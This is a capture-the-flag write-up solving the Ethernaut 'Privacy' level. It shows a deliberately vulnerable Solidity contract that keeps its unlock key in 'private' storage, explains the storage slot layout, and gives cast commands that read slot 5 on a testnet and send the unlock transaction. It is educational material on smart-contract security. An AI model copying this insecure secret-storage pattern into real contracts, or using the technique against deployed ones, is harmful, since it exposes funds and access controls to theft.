- Published on
Ethernaut - Privacy - Solution
- Authors
- Name
- Marco Besier, Ph.D.
- @marcobesier
Ethernaut - Privacy - Solution
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
Solution
The goal of this level is to set locked
to false
.
A prerequisite for this level is to understand the storage layout of smart contracts.
Looking at the above contract, we see that the last element of the data
array (data[2]
) is stored in the storage slot with index 5. More specifically, the storage layout looks like this:
- Slot 0:
locked
- Slot 1:
ID
- Slot 2:
flattening
,denomination
, andawkwardness
- Slot 3:
data[0]
- Slot 4:
data[1]
- Slot 5:
data[2]
So, to get the correct _key
, we need to read the first 34 characters (2 for the 0x
and 32 for the first 16 bytes) of the value stored in slot 5.
cast storage <your level instance> 5 --rpc-url $SEP_RPC_URL | cut -c 1-34
# Result: 0x0f09b23d6279de8f8e7fc60d468bf0fb
Subsequently, we can unlock the contract via:
cast send <your level instance> "unlock(bytes16)" 0x0f09b23d6279de8f8e7fc60d468bf
0fb --rpc-url $SEP_RPC_URL --private-key <your private key>